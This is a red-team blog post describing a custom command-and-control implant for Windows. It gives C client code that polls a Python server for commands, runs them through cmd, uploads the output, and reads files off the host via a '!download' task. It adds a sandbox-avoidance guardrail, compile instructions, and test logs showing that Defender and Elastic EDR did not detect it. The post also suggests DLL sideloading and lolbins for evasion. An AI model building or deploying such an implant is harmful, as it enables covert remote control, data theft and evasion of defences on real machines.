Create your own custom implant

2024-07-31

A few days ago I read a fantastic blog post by Forrest Kalser that piqued my curiosity. In the blog post, titled ‘Deep Sea Phishing Pt.1’, Kalser argues that custom payloads are (usually) better than stock shellcode because the EDR has already seen the stock shellcode generated by the C2 framework of your choice a few times.

He reasons that custom implants have a major advantage in that they are unlikely to be detected, since we avoid the process of loading a “known bad” shellcode into a memory region and then relying on sleep masks and memory shenanigans to hide our final implant.

In this blog post, we will take a look at building a simple, yet surprisingly evasive implant developed in C. The source code can be found on Github.


Prerequisites

As Kalser describes, we need to chain 4 tasks together to achieve our goal:

  1. Get instructions from our C2
  2. Execute instructions
  3. Sends the output to our C2
  4. Loop

Besides the implant we also need a server functioning as a C2. For that we will use a simple Python HTTP server able to log GET and POST requests.

Server

The server needs to process GET and POST requests to meet the needs of our implant. We also probably want some sort of interactive shell to issue commands.

Luckily we do not have to reinvent the wheel and were able to modify an existing implantation to adjust it to our needs.

GET and POST requests

As the following code snippet shows, we define a global variable command which we set as the response for a GET request. For the POST request, we decode the data and simply print it out.

command = b"whoami"

class S(BaseHTTPRequestHandler):
    def _set_response(self, status_code=200, content_type='text/html'):
        self.send_response(status_code)
        self.send_header('Content-type', content_type)
        self.end_headers()

    def do_GET(self):
        self._set_response(content_type="text/plain")
        self.wfile.write(command)

    def do_POST(self):
        content_length = int(self.headers['Content-Length']) 
        post_data = self.rfile.read(content_length) 
        print(post_data.decode('utf-8'))

        self._set_response()

    def log_request(self, code='-', size='-'):
        self.log_message('"%s"', self.requestline)

Make it interactive

In order to make our implant ‘interactive’, we implement a simple function to modify the global variable command and to exit the shell.

def interactive_shell():
    print("Interactive shell started. Type 'exit' to quit.")
    global command
    while True:
        user_input = input("Enter new command: ")
        if user_input == 'exit':
            print("Exiting interactive shell.")
            break
        elif user_input:
            command = user_input.encode()
            print(f"Command updated to: {command}")

Client

For this PoC the following functionality was implemented:

  • Guardrails
  • Retrieve tasks from our C2 with a GET request
  • Execute tasks
  • Send output to our C2 with a POST request
  • Download files from the file system (custom task)
  • Provide a random identifier for each connected client
  • For a little bonus, obfuscate the function calls

Guardrails

To avoid running in a sandbox or in an environment where we to not have permission to run our implement, we need to implement some guardrails. For this PoC a simple check for the domain is enough, but I encourage you to add some further check. The current guardrails are rudimentary, but can easily be extended, as shown in 0xpat’s fantastic blog post where he conveniently provides sample C code.

bool guardrails(const char* domain){
    char* taskResult = execCmd("echo %USERDOMAIN%");

    if(compareString(domain,taskResult))
        return TRUE;

    return FALSE;
}

Fetch and execute

After checking the environment, we start our loop and start fetching new tasks. We check for a “task type” after fetching a new task. In the blog post, Kalser recommended not to overload the implant with fancy custom tasks, but I wanted to demonstrate the implementation of a custom task, so I implemented atleast one custom function to the implant.

I implemented a task which is called with !download <PATH>. I would not say this is a perfect download, as it just reads the file with CreateFileA and sends the content to our server via a POST request, but it should still demonstrate how to implement a custom task.

If the fetched task is a normal cmd task, it calls execCmd() which creates a pipe and executes a command. If a custom task is fetched, it parses the arguments and then depending on the task, in this case we only have a download task, it executes it.

while (1) {
    char* newTask = getTask(clientId, wininet_dll);
    if (newTask != NULL && strlen(newTask) > 0) {
        printf("Task received %s\n", newTask);

        TaskType taskType = getTaskType(newTask);
        switch (taskType) {
            case CMD_TASK: {
                char* taskResult = execCmd(newTask);
                printf("%s\n", taskResult);
                if (taskResult != NULL) {
                    taskIO(taskResult,clientId,wininet_dll);
                    free(taskResult);
                }
                free(newTask);
                break;
            }
            case CUSTOM_TASK: {
                char command[MAX_ARG_LENGTH];
                char* arguments[MAX_ARGS+1]; //+1 for the NULL terminator
                parseParams(newTask,command,arguments);

                if(compareString("!download",command)){
                    DWORD bytesRead;
                    char* customTaskResult = ReadFileContents(arguments[0], &bytesRead);
                    freeArguments(arguments);
                    printf("%s\n", customTaskResult);
                    if (customTaskResult != NULL) {
                        taskIO(customTaskResult,clientId,wininet_dll);
                        free(customTaskResult);
                    }
                    free(newTask);
                    break;
                }
                break;
            }
            default:
                free(newTask);
                break;
        }
    }
    Sleep(SLEEP_TIME);
}
return 0;

Usage

To use the implant you need to compile it with mingw and strip the binary with the following command: x86_64-w64-mingw32-gcc -o implant.exe implant.c -lwininet -s

Before compiling adjust the constants at the top of your file to include your C2 server, the domain in which you want to execute it and the sleep time.

The server can be started with: python3 server.py. Modify the port, as per default port 80 will be used.

Tests against some AV/EDRs

In the first test, I dropped the implant on a newly created Windows 11 VM with Defender running. Defender did not detect the implant.

This didn’t really surprise me, so the next target I chose was an EDR, in this case Elastic, as I already had a deployment for it.

As we can see from the console output, the implant is working fine and we can begin to enumerate the system. The implant was not detected during the test.

root@<REDACTED>:/tmp/temper# python3 server.py
Interactive shell started. Type 'exit' to quit.
Enter new command: INFO:root:Starting httpd...
<REDACTED> - - [31/Jul/2024 08:32:06] "GET /?id=TCK3 HTTP/1.1"
ad\<REDACTED>
<REDACTED> - - [31/Jul/2024 08:32:06] "POST /TCK3 HTTP/1.1"
<REDACTED> - - [31/Jul/2024 08:32:16] "GET /?id=TCK3 HTTP/1.1"
ad\<REDACTED>
<REDACTED> - - [31/Jul/2024 08:32:16] "POST /TCK3 HTTP/1.1"
cd
Command updated to: b'cd'
Enter new command:
<REDACTED> - - [31/Jul/2024 08:32:26] "GET /?id=TCK3 HTTP/1.1"
C:\Users\<REDACTED>\Desktop
<REDACTED>- - [31/Jul/2024 08:32:26] "POST /TCK3 HTTP/1.1"
<REDACTED> - - [31/Jul/2024 08:32:36] "GET /?id=TCK3 HTTP/1.1"
C:\Users\<REDACTED>\Desktop
<REDACTED>- - [31/Jul/2024 08:32:36] "POST /TCK3 HTTP/1.1"
tasklist
Command updated to: b'tasklist'
Enter new command:
<REDACTED> - - [31/Jul/2024 08:32:46] "GET /?id=TCK3 HTTP/1.1"
Abbildname PID Sitzungsname Sitz.-Nr. Speichernutzung
========================= ======== ================ =========== ===============
[snip]
elastic-agent.exe 3108 Services 0 42.084 K
elastic-endpoint.exe 3128 Services 0 112.152 K
MpDefenderCoreService.exe 3152 Services 0 21.200 K
[snip]
task_executor.exe 13668 RDP-Tcp#0 2 10.944 K
cmd.exe 5592 RDP-Tcp#0 2 4.236 K
tasklist.exe 12676 RDP-Tcp#0 2 9.600 K
WmiPrvSE.exe 11172 Services 0 10.064 K

Conclusion

As this experiment shows, a custom implant does have some advantages over using a loader with standard shellcode. However, as Kasler explains, the trade-off is in functionality, as you have to develop the post-exploitation functionality yourself.

The current implementation has no encryption, so it would not be a good idea to use it in a real engagement, besides the usage of an EXE is never a good idea. Crafting a DLL and using lolbins to execute/sideload the implant is recommended.



More posts like this

Keep whispering to bypass Windows Defender

2023-02-18 | #redteaming

Direct system calls have been used by malware authors in the wild for a long time to evade AV/EDR solutions by bypassing user-land hooks. API hooking is one of the techniques used by modern AV/EDR solution to keep an eye on each API call and determine if it is malicious.

Continue reading 